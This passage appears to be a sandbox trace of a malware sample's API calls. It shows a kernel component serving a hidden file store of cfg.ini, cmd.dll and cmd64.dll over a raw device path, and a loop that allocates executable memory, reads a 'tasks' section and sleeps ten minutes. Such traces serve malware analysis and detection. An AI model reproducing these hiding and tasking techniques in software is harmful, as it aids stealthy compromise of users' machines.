(MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb8000 [0117.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.488] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.488] IdePortDispatch () returned 0x103 [0117.488] KeWaitForMutexObject () returned 0x0 [0117.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.489] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.489] IdePortDispatch () returned 0x103 [0117.489] KeWaitForMutexObject () returned 0x0 [0117.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.489] KeLeaveCriticalRegion () [0117.489] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.489] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.489] KeEnterCriticalRegion () [0117.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.489] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.489] KeLeaveCriticalRegion () [0117.489] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.490] KeEnterCriticalRegion () [0117.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.490] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.490] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.490] KeLeaveCriticalRegion () [0117.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.490] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.490] KeEnterCriticalRegion () [0117.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.490] ExFreePoolWithTag (P=0xfffffa80039d92c0, Tag=0x0) [0117.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.490] KeLeaveCriticalRegion () [0117.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.490] ReleaseMutex (hMutex=0xf0) returned 1 [0117.490] Sleep (dwMilliseconds=0x927c0) [0117.504] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.504] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.504] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.504] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.504] KeEnterCriticalRegion () [0117.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.504] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.504] IdePortDispatch () returned 0x103 [0117.504] KeWaitForMutexObject () returned 0x0 [0117.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.504] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.505] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.505] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.505] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.505] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9ca0 [0117.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.505] KeLeaveCriticalRegion () [0117.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.505] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.505] KeEnterCriticalRegion () [0117.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.505] KeLeaveCriticalRegion () [0117.505] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.505] KeEnterCriticalRegion () [0117.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.505] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.505] IdePortDispatch () returned 0x103 [0117.505] KeWaitForMutexObject () returned 0x0 [0117.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.506] KeLeaveCriticalRegion () [0117.506] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.506] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.506] KeEnterCriticalRegion () [0117.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbd000 [0117.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.506] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.506] IdePortDispatch () returned 0x103 [0117.506] KeWaitForMutexObject () returned 0x0 [0117.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.507] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.507] IdePortDispatch () returned 0x103 [0117.507] KeWaitForMutexObject () returned 0x0 [0117.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.507] KeLeaveCriticalRegion () [0117.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.508] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.508] KeEnterCriticalRegion () [0117.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.508] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.508] KeLeaveCriticalRegion () [0117.508] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.508] KeEnterCriticalRegion () [0117.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.508] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.508] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.508] KeLeaveCriticalRegion () [0117.508] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.508] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.508] KeEnterCriticalRegion () [0117.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.508] ExFreePoolWithTag (P=0xfffffa80039d9ca0, Tag=0x0) [0117.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.508] KeLeaveCriticalRegion () [0117.508] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.509] ReleaseMutex (hMutex=0xf0) returned 1 [0117.509] Sleep (dwMilliseconds=0x927c0) [0117.524] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.524] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.524] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.524] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.524] KeEnterCriticalRegion () [0117.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.524] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.524] IdePortDispatch () returned 0x103 [0117.524] KeWaitForMutexObject () returned 0x0 [0117.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.525] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.525] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.525] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.525] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.525] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daca0 [0117.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.525] KeLeaveCriticalRegion () [0117.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.525] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.525] KeEnterCriticalRegion () [0117.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.525] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.525] KeLeaveCriticalRegion () [0117.525] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.525] KeEnterCriticalRegion () [0117.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.525] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.525] IdePortDispatch () returned 0x103 [0117.525] KeWaitForMutexObject () returned 0x0 [0117.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.525] KeLeaveCriticalRegion () [0117.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.525] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.525] KeEnterCriticalRegion () [0117.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.526] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc2000 [0117.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.526] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.526] IdePortDispatch () returned 0x103 [0117.526] KeWaitForMutexObject () returned 0x0 [0117.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.526] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.526] IdePortDispatch () returned 0x103 [0117.526] KeWaitForMutexObject () returned 0x0 [0117.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.526] KeLeaveCriticalRegion () [0117.526] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.527] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.527] KeEnterCriticalRegion () [0117.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.527] KeLeaveCriticalRegion () [0117.527] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.527] KeEnterCriticalRegion () [0117.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.527] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.527] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.527] KeLeaveCriticalRegion () [0117.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.527] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.527] KeEnterCriticalRegion () [0117.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.527] ExFreePoolWithTag (P=0xfffffa80039daca0, Tag=0x0) [0117.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.527] KeLeaveCriticalRegion () [0117.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.527] ReleaseMutex (hMutex=0xf0) returned 1 [0117.527] Sleep (dwMilliseconds=0x927c0) [0117.541] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.541] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.541] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.541] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.541] KeEnterCriticalRegion () [0117.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.541] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.541] IdePortDispatch () returned 0x103 [0117.541] KeWaitForMutexObject () returned 0x0 [0117.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.541] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.541] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.541] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.541] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.541] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d96c0 [0117.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.541] KeLeaveCriticalRegion () [0117.541] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.541] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.541] KeEnterCriticalRegion () [0117.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.541] KeLeaveCriticalRegion () [0117.542] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.542] KeEnterCriticalRegion () [0117.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.542] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.542] IdePortDispatch () returned 0x103 [0117.542] KeWaitForMutexObject () returned 0x0 [0117.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.542] KeLeaveCriticalRegion () [0117.542] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.542] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.542] KeEnterCriticalRegion () [0117.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.542] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc7000 [0117.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.542] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.542] IdePortDispatch () returned 0x103 [0117.542] KeWaitForMutexObject () returned 0x0 [0117.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.542] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.542] IdePortDispatch () returned 0x103 [0117.543] KeWaitForMutexObject () returned 0x0 [0117.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.543] KeLeaveCriticalRegion () [0117.543] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.543] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.543] KeEnterCriticalRegion () [0117.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.543] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.543] 